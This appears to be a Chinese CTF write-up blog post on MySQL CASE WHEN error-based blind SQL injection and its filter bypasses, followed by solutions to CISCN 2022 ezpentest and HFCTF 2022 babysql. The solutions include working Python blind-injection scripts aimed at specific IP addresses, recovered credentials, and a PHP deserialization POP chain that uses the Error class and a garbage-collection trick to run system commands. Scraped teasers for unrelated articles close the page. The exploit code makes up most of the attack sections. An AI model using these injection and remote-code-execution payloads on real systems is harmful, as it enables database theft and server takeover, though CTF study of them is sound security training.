CISCN(Web Ezpentest)GC、序列化、case when
目录
REGEXP的一个点(正则)
like(默认不区分大小写)
当禁用了空格
regexp,like的区分大小写的使用方法
[CISCN 2022 初赛]ezpentest
卡点
2022 HFCTF babysql
最近又学到了一道新知识,case when的错误注入,也是盲注的一种。
mysql> select case binary 'B' when 'a' then 1 when 'b' then 2 end;
结果返回 NULL
解释一下这个就可以理解,也就是首先二进制(B),然后when后面其实就是判断,如果判断成功执行 then都没有则会返回NULL
mysql> select id from tb where id=0 || case 1 when flag REGEXP '^f' then 1 else 1+~0 end;
单纯看的话,这段代码基本就是sql注入的后端,id后面的东西是需要我们注入的,
0 || case 1 when flag REGEXP '^f' then q else 1+~0 end;
REGEXP后面是是否以f开头,重点是这里如果不成立则会 1+~0
(这里 ~
为取反操作符,0 取反即为最大值,再加 1 溢出报错)
使用条件:一般会禁用掉if(),然后溢出报错会显示500,所以我们可以进行一个盲注。
REGEXP的一个点(正则)
^ 匹配字符串的开始部分
$ 匹配字符串的结束部分
. 匹配任何字符(包括回车和新行)
如果我们使用这个函数进行sql盲注的时候,如果匹配到了需要转义一下
if i in '.':i = "\\" + i
like(默认不区分大小写)
LIKE 关键字支持百分号“%”和下划线“_”通配符。一样转义
WHERE name LIKE 't%'; WHERE name LIKE BINARY 't%';(区分大小写)
当禁用了空格
使用科学计数法和单(反)引号绕过
mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^f'THEN+1e0ELSE~0e0+~0e0END;
CASE+1e0WHEN`flag`REGEXP'^f'THEN+1e0ELSE~0e0+~0e0END;
case 1 when flag REGEXP '^f' then 1 else 1+~0 end;
比较看来也就是变成了科学计数法,然后else后面的值变了
1+~0 -------------》 ~0e0+~0e0 解释是科学计数法的范围变大了。
regexp,like的区分大小写的使用方法
mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_0900_as_cs;-> 0
mysql> SELECT 'abc' LIKE _utf8mb4 'ABC' COLLATE utf8mb4_bin;-> 0
mysql> SELECT 'abc' LIKE BINARY 'ABC';-> 0mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP+BINARY'^F'THEN+1e0ELSE~0e0+~0e0ENDD;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0e0) + ~(0e0))'mysql> SELECT id FROM tb WHERE id=0 ||CASE+1e0WHEN`flag`REGEXP'^F'COLLATE'utf8mb4_bin'THEN+1e0ELSE~0e0+~0e0ENDD;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0e0) + ~(0e0))'
[CISCN 2022 初赛]ezpentest
<?php
function safe($a) {$r = preg_replace('/[\s,()#;*~\-]/','',$a);$r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);return (string)$r;}?>
//正则这里\s表示所有空白字符比如空格,tab,%00等
///^.*(?=union|binary).*$/gi表示匹配所有包含union和binary等的字符串
发现了,我们字符比较regexp和rlike ()都禁用了,if用不了没括号,所以只能用上面讲的case when和like
import string
import requestsstr = string.ascii_letters + string.digits + "$@!^&}{_%"
payload = "0'||case'1'when`username`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
payload1 = "0'||case'1'when`password`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
url = 'http://1.14.71.254:28582/login.php'
f = ""
while 1:for i in str:if i in '%_':i = "\\" + iresp = requests.post(url=url, data={"username": payload.format(f + i),"password": "0"})if resp.status_code == 500:f += iprint(f)break
这里不用~0e0是因为,~被过滤掉了所以直接用的最大数+1
得出
username: nssctfwabbybaboo!@$%!!<br> password: PAssw40d_Y0u3_Never_Konwn!@!!
因为这个解密要求非常严格,所以最好通过脚本下载下来
<?php$url = "http://1.14.71.254:28391/login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, "PHPSESSID=ru3g5iqq3bcj80jv5btt4hgdj0");
$result = curl_exec($ch);
curl_close($ch);
echo urlencode($result);
file_put_contents("jiemi2.php", $result);
//保存会话内容八成是
登陆进去后,页面显示乱码,然后看源码,发现是PHPJiaMi.com加密,然后github上有解密脚本
<?php
session_start();
if(!isset($_SESSION['login'])){//session必须要存在die();
}
function Al($classname){include $classname.".php"; //文件包含漏洞自动加php
}if(isset($_REQUEST['a'])){$c = $_REQUEST['a'];$o = unserialize($c);//反序列化,说明我们要传一个序列化好的数据if($o === false) {die("Error Format");}else{spl_autoload_register('Al');$o = unserialize($c);$raw = serialize($o);if(preg_match("/Some/i",$raw)){throw new Error("Error");}$o = unserialize($raw);var_dump($o);}
}else {echo file_get_contents("SomeClass.php");
}
审计代码后发现是利用pop链,spl_autoload_register
这个函数就是自动加载类,当new一个没有包含的类时,他就会自动调用类A1
静态方法来包含所需的类,但是里面过滤掉了some并且下面会抛出错误,所以我们的思路是提前调用destruct.
直接访问获得另一个文件
卡点
这里我单纯的以为访问哪个目录,就会是哪个php但不是,通过上面的file_get_contents("SomeClass.php"),虽然访问/ND3x...,但其实这个文件是Someclass.php
Someclass.php
<?php
class A
{public $a;public $b;public function see(){$b = $this->b;$checker = new ReflectionClass(get_class($b));if(basename($checker->getFileName()) != 'SomeClass.php'){if(isset($b->a)&&isset($b->b)){($b->a)($b->b."");}}}
}
class B
{public $a;public $b;public function __toString(){$this->a->see();return "1";}
}
class C
{public $a;public $b;public function __toString(){$this->a->read();return "lock lock read!";}
}
class D
{public $a;public $b;public function read(){$this->b->learn();}
}
class E
{public $a;public $b;public function __invoke(){$this->a = $this->b." Powered by PHP";}public function __destruct(){//eval($this->a); ??? 吓得我赶紧把后门注释了//echo "???";die($this->a);}
}
class F
{public $a;public $b;public function __call($t1,$t2){$s1 = $this->b;$s1();}
}?>
这里卡就卡在
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
通过看别的师傅wp,可以发现需要用一个原生类,然后($b->a)($b->b."");不就是 system("ls")的格式吗,原生类->a ->b就可以了,用Error()或者别的都可以。
<?php
class A
{public $a;public $b;public function see(){$b = $this->b;$checker = new ReflectionClass(get_class($b));if(basename($checker->getFileName()) != 'SomeClass.php'){if(isset($b->a)&&isset($b->b)){($b->a)($b->b."");}}}
}
class B
{public $a;public $b;public function __toString(){$this->a->see();return "1";}
}class E
{public $a;public $b;public function __invoke(){$this->a = $this->b." Powered by PHP";}public function __destruct(){//eval($this->a); ??? 吓得我赶紧把后门注释了//echo "???";die($this->a);}
}
class SomeClass{public $a;
}
$e=new E();
$b=new B();
$a=new A();
$e->a=$b;
$b->a=$a;
$x=new Error();
$x->a="system";
$x->b="cat /nssctfflag";
$a->b=$x;
$result=new SomeClass();
$result->a=$e;
$result = serialize(array($result,0));
$result = str_replace("i:1","i:0",$result);
$result = urlencode($result);
echo $result;
a:2:{i:0;O:9:"SomeClass":1:{s:1:"a";O:1:"E":2:{s:1:"a";O:1:"B":2:{s:1:"a";O:1:"A":2:{s:1:"a";N;s:1:"b";O:5:"Error":9:{s:10:"*message";s:0:"";s:13:"Errorstring";s:0:"";s:7:"*code";i:0;s:7:"*file";s:15:"/box/script.php";s:7:"*line";i:63;s:12:"Errortrace";a:0:{}s:15:"Errorprevious";N;s:1:"a";s:6:"system";s:1:"b";s:2:"ls";}}s:1:"b";N;}s:1:"b";N;}}i:1;i:0;}
这里为什么加了一个 SomeClass方法呢,别的wp都没有结束,我之能猜测一下那是因为第一个文件压根没包含Someclass文件然后有了new SomeClass(),这样就可以包含Someclass这个文件,至于后面的array($result,0),还有替换就是GC的回收机制,如果
a:2:{i:0;O:9:"SomeClass":1:{s:1:"a";O:1:"E":2:{s:1:"a";O:1:"B":2:{s:1:"a";O:1:"A":2:{s:1:"a";N;s:1:"b";O:5:"Error":9:{s:10:"*message";s:0:"";s:13:"Errorstring";s:0:"";s:7:"*code";i:0;s:7:"*file";s:15:"/box/script.php";s:7:"*line";i:50;s:12:"Errortrace";a:0:{}s:15:"Errorprevious";N;s:1:"a";s:6:"system";s:1:"b";s:15:"cat /nssctfflag";}}s:1:"b";N;}s:1:"b";N;}}i:0;i:0;}
把i 本应该等于 1修改为 i = 0。那不就是把i = 0指向NULL了吗?然后就实现了GC回收。
HFCTF2022_babysql题目复现 (pankas.top)
2022 HFCTF babysql
import requests
import timesession = requests.session()burp0_url = "http://47.107.231.226:30631/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8","Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate","Content-Type": "application/x-www-form-urlencoded", "Origin": "http://47.107.231.226:30631", "Connection": "close", "Referer": "http://47.107.231.226:30631/","Upgrade-Insecure-Requests": "1"}alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!.@%&*{}[]_-^/"
password = '^'while True:for i in alphabet:burp0_data = {"username": f"1'||case+1E0when`password`regexp'{password + i}'COLLATE'utf8mb4_bin'then+1E0else+!0E0+~0+!0E0end||'0", "password": "6878"}r = session.post(burp0_url, headers=burp0_headers, data=burp0_data)if r.status_code == 401:print(i)password += ibreaktime.sleep(0.3)print(password)
逻辑很简单,和上面的题差不多,区别在于 regexp '^q'以及用的科学计数法
m52FPlDxYyLB.eIzAr!8gxh.
这样会产生点,为什么呢因为.相当于一个通配符,所以可以和上面一样转义掉就行。
相关文章:
CISCN(Web Ezpentest)GC、序列化、case when
目录 REGEXP的一个点(正则) like(默认不区分大小写) 当禁用了空格 regexp,like的区分大小写的使用方法 [CISCN 2022 初赛]ezpentest 卡点 2022 HFCTF babysql 最近又学到了一道新知识,case when的错…...
OSG三维渲染引擎编程学习之五十七:“第六章:OSG场景工作机制” 之 “6.1 OSG访问器”
目录 第六章 OSG场景工作机制 6.1 OSG访问器 6.1.1 访问器模式 6.1.2 osg::NodeVisitor 6.1.3 访问器示例...
Python3 输入和输出实例及演示
在前面几个章节中,我们其实已经接触了 Python 的输入输出的功能。本章节我们将具体介绍 Python 的输入输出。 输出格式美化 Python两种输出值的方式: 表达式语句和 print() 函数。 第3种方式是使用文件对象的 write() 方法,标准输出文件可以用 sys.std…...
召回-回忆录(持续更新)
0.召回方法 词召回 swing、itemCF 缺点: 有冷启动问题不是全局召回,冷门活动难以得到召回结果容易召回过多的头部热门活动 向量召回 参考文献: 经典推荐算法学习(七)| Graph Embedding技术学习 | 从DeepWalk到No…...
1243. 糖果/状态压缩dp【AcWing】
1243. 糖果 糖果店的老板一共有 M种口味的糖果出售。 为了方便描述,我们将 M种口味编号 1∼M。 小明希望能品尝到所有口味的糖果。 遗憾的是老板并不单独出售糖果,而是 K颗一包整包出售。 幸好糖果包装上注明了其中 K颗糖果的口味,所以小…...
【Spring Cloud Alibaba】001-单体架构与微服务架构
【Spring Cloud Alibaba】001-单体架构与微服务 文章目录【Spring Cloud Alibaba】001-单体架构与微服务一、单体架构1、单体应用与单体架构2、单体应用架构图3、单体架构优缺点优点缺点二、微服务1、微服务的“定义”2、微服务的特性3、微服务架构图4、微服务的优缺点优点缺点…...
Renderer 使用材质分析:materials、sharedMaterials 及 MaterialPropertyBlock
一、materials 与 sharedMaterials 1.1 使用上的区别与差异 Unity 开发时,在 C# 中通过 Renderer 取材质操作是非常常见的操作,Renderer 有两种常规获取材质的方式: sharedMaterials:可以理解这个就是原始材质,所有使…...
java学习----网络编程
网络编程入门 网络编程概述 计算机网络 计算机网络是指地理位置不同的具有独立功能的计算机及其外部设备,通过通信线路连接起来,在网络操作系统,网络管理软件及网络通信协议的管理协调下,实现资源共享和信息传递的计算机系统…...
这些「误区」99%的研发都踩过
意识不到误区的存在最为离谱; 01生活中,职场上,游戏里,都少不了正面对喷过:意识太差; 在个人的认知中意识即思维,意识太差即思维中存在的误区比较多; 每个人或多或少都存在思维上的…...
Bi系统跟数据中台的区别是什么?
随着数据时代的发展,BI分析是当今数据时代必不可少的能力之一。BI系统通过系统化产品化的方法,能够大幅降低数据的获取成本、提升数据使用效率。同时借助可视化、交互式的操作,可以高效支持业务的分析及发展。 BI如此火热,随之而…...
微信小程序反编译方法分享
文章目录一、前言二、准备工作(一)安装Nodejs(二)解密和逆向工具三、小程序缓存文件解密(一)定位小程序缓存路径(二)源码解密(三)源码反编译四、小结一、前言…...
有了这些接口测试用例+工具,测试效率想不提升都难
写在前面:在日常开发过程中,有人做前端开发,有人负责后端开发。接口的主要作用就是连接前后台。但是,由于前端和后端开发的速度可能不一样,尤其是后端开发好了,但前端还未开发。这种时候我们需要做接口测试…...
麒麟 arm架构安装nginx
目录 1、下载nginx安装包并解压 在线安装: 离线安装: 上传nginx安装包(下载地址:https://nginx.org/download/nginx-1.20.2.tar.gz)到指定目录 2、安装系统相关依赖软件、组件包 1、上传或者下载对应的组件包 2、安…...
logrotate失效的排查---selinux开启状态拦截问题及解决方法
首先测试环境selinux 处于关闭状态 disable # getenforce disable重新开启selinux配置与生产环境一致 [rootlocal]# cat /etc/selinux/config # This file controls the state of SELinux on the system. # SELINUX can take one of these three values: # enforcing - S…...
Allegro使用总结-查看Layout基本操作:
好久没用CSDN写过笔记了,没想到无意间打开,编辑器更新啦!以前巨难用的“富文本编辑器”终于改观了😭变的好像语雀,うれしい1. 视图/画面操作a. 画面缩放(Zoom):F11/F12 或 鼠标滚轮b…...
cmd del命令笔记
使用 /s 删除文件夹下所有的 del /s sub # 删除目录下所有文件,这个目录不会删除 /p 确认提示 /q 静默模式,不会提示要不要删除 如过和/p同时使用,那么不提示 /a 根据属性删除,a是attribute的意思 del /a:r 01.jpg # 01.jp…...
apifox持续集成+java+企微机器人+xxljob定时推送
总览: apifox做接口测试后,把用例合并组装成测试套件,然后apifox-cli通过终端命令实现把套件执行后,输出本地文件的测试报告html或json。本地解析后拿到有用的解决通过定时执行推送到企微群里。 然后把html一起推到群里。 这个…...
盘点Linux内核网络知识100道题,这篇就够了
计算机网络模型 1、五层因特网协议栈和七层OSI(Open System Interconnections)参考模型分别是什么? 5层:应用层、传输层、网络层、数据链路层、物理层 7层:应用层、表示层、会话层、传输层、网络层、数据链路层、物理…...
数据库敏感字段脱敏
文章目录什么是脱敏脱敏后带来什么问题解决方案一解决方案二具体实施方案一方案二存量数据处理什么是脱敏 如果你有申请过一些软件资质,应该会被要求敏感数据进行加密,比如密码不能明文,用户的手机号,身份证信息,银行…...
skynet 游戏服务器探索(1)--熟悉skynet(网络)
因为做游戏服务器开发,大多数都跟脚本打交道,要么是lua,要么是python,要么是php,方便热更新的只有lua与php, php相关的游戏服务器开发,参考我另外的文章https://blog.csdn.net/guoyilongedu/article/details/121049511lua脚本相关的ÿ…...
select、poll、epoll
select、poll、epoll select int select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout); int nfds:被select管理的文件描述符的个数,最大描述符编号1fd_set *readfds:读文件描述符集合fd_se…...
rollup的基本使用 基本配置与处理各种文件
rollup rollup是一个javascript的模块化打包工具 可以帮助我们编译小的代码到一个大的负载的代码中 比如一个库或者一个应用 rollup与webpack的区别 rollup主要针对ES Module进行打包 另外webpack通常可以通过各种loader处理各种各样的文件 以及处理他们的依赖关系 rollup更多…...
ubuntu-debian系-redhat系
debian系 包类型:.deb包 本地安装包安装工具:dpkg 本地包管理命令:dpkg -i package 安装包 dpkg -r package 卸载包 dpkg -l package 查看已安装包 远程安装包安装工具:apt / apt-get 远程包管理命令:apt-get apt-cac…...
Altium Designer 18中原理图DRC编译和PCB DRC检查-AD DRC
一、原理图编译 原理图检查的主要内容有: 1、元件位号冲突。也即多个元件编号相同,例如两个电容在原理图中都被命名为C2,显然肯定是无法生成PCB的。 2、网络悬浮。也即网络标号没有附着在电气走线上,一般这种是人操作失误&…...
zipfile — 访问 ZIP 压缩文件
zipfile — 访问 ZIP 压缩文件 1.概述 zipfile 模块可用于操作 ZIP 存档文件,.zip 是 PC 程序 PKZIP 推广的格式 2.测试数据 为了演示用,你需要创建以下三个文件 1.README.txt 内容如下,注意最后一行为空行 The examples for the zipfil…...
检查nmos管是否损坏
NCEP85T14 功率mos管为例 以NMOS举例,只用万用表二极管档测量MOS管的好坏-电子发烧友网 NMOS的D极和S极之间有一个寄生二极管,方向为S到D,利用二极管单向导电性以及MOS管导通时寄生二极管截止的特性,可以快速测量MOS好坏。 1、测…...
第七章 - 聚合函数(count,avg,sum,max,min)和一些数学函数
第七章 - 聚合函数使用别名 ascount() 计数avg() 平均值sum() 求和max() 最大值min() 最小值一些数学计算函数Abs()Cos()Exp()Mod()Pi()radians()Sin()Sqrt()Power()Ceil()Floor()使用别名 as 在SQL中可以使用 as 来为一个字段或者一个值设置新的别名下面聚合函数的使用中就会…...
Typescript的原始据类型和Any类型
最新的ECMAScript标准定义了8中数据类型: 7种原始类型: BooleanNullUndefinedNumberBigintStringSymbol和 Object 除 Object 以外的所有类型都是不可变的 (值本身无法被改变》。例如,与C语言不同JavaScript 中字符串是不可变的 (译注: 如,Ja…...
[python入门㊼] - python类的高级函数
目录 ❤ 类的高级函数 ❤ __str__ ❤ __getattr__ ❤ __setattr__ ❤ __call__ ❤ 类的高级函数 今天来为大家介绍几个类中的高级函数,它们也是类中的内置函数。通过使用它们, 会让我们在进行类开发的时候更加的顺手,接下来我们就…...
【Windows】使用Fiddler 工具对手机进行接口监听
目录 工具下载 配置Fidder 手机端获取证书 过滤指定接口 工具下载 CSDN下载地址 其他下载地址 配置Fidder 安装后,打开进入如下界面 在fiddler菜单项选择Tools -> Options -> HTTPS 勾选【Decrypt HTTPS traffic 】 下拉框默认:【from al…...
做网站的 简历/临沂做网络优化的公司
霍夫变换将笛卡尔坐标系的直线用统计展示坐标系A中的点坐标系B中的线坐标系A中的线坐标系B中的点A中多点的连线B中多曲线的交点先理解这样一个思维左边的x-y坐标系中,设定k,b定值,则有一系列x,y值组成直线。相应的在右边k-b坐标系中ÿ…...
公司做网站报价/网站推广基本方法是
1.首先,程序中头文件的选择,要选择<math.h>头文件,在<cmath>文件中是没有对M_PI 的定义的(现在的<cmath>中对M_PI好像已有定义)。 2.选择:项目——>”XXX属性"——>配置属性…...
网站优缺点/百度软文推广怎样收费
2019独角兽企业重金招聘Python工程师标准>>> chart.js 基于H5的canvas,轻量级的图表插件。 有6中图表类型:折线图、条形图、雷达图、饼图、柱状图、极地区域图 关于柱状图的绘制,追加 、更新、删除数据等操作的总结 原文来自于:h…...
海城网站制作建设/哈尔滨最新消息
一、Amoeba的简述:[来自百度百科] Amoeba是一个以MySQL为底层数据存储,并对应用提供MySQL协议接口的proxy。它集中地响应应用的请求,依据用户事先设置的规则,将SQL请求发送到特定的数据库上执行。基于此可以实现负载均衡、读写分离…...
力软框架做网站/网站接广告
一、前言 JDOM是Breet Mclaughlin和Jason Hunter两大Java高手的创作成果,2000年初,JDOM作为一个开放源代码项目正式开始研发。JDOM是一种解析XML的Java工具包。 DOM 适合于当今流行的各种语言,包括Java,JavaScripte,VB,VBScriptÿ…...
有做网站代理运营的吗/品牌咨询
我们的疑问是:iPad充电器可以给iPhone充电吗,iPad充电器不能为iPhone充电吗?使用iPad给iPhone充电的危害?用iPhone充电器会损害iPad吗?iPad充电器可以给iPhone快充吗?iPhone用iPad充电器是不是可以的呢&…...